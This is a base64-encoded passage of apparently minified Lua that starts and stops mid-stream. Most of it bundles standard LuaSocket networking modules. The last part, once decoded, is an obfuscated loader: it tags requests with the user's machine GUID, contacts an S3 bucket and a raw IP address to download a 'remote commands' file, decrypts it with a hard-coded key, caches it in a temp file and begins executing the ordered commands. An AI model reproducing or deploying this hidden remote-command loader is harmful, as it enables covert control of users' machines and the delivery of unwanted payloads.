ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
